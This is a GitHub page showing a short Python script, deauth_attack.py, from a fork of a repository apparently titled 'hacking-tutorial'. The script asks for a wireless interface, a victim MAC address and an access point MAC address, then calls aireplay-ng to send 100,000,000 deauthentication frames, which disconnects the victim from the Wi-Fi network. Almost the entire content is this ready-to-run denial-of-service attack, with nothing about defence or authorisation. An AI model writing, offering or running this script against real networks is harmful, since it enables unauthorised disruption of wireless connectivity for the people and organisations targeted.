forked from amandewatnitrr/hacking-tutorial
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdeauth_attack.py
More file actions
27 lines (21 loc) · 1.04 KB
/
deauth_attack.py
File metadata and controls
27 lines (21 loc) · 1.04 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Deauthentication Attack Script
# This script performs a deauthentication attack on a specified Wi-Fi network.
import os
import subprocess
def deauth_attack(interface, target_mac, gateway_mac):
print(f"[+] Starting deauthentication attack on {target_mac} via {gateway_mac} using {interface}")
# Construct the command for the deauthentication attack
command = [
"sudo", "aireplay-ng", "--deauth", "100000000", "-a", gateway_mac, "-c", target_mac, interface
]
# Execute the command
subprocess.call(command)
# Example usage
if __name__ == "__main__":
# Fetch the interface name using iwconfig command
interface = input("Enter the interface name (e.g., wlan0): ")
target_mac = input("Enter the target MAC address (victim): ")
gateway_mac = input("Enter the gateway (AP) MAC address: ")
print(f"[+] Initiating Deauthentication attack on {target_mac} via {gateway_mac} using {interface}")
deauth_attack(interface, target_mac, gateway_mac)
print("[+] Deauthentication attack completed")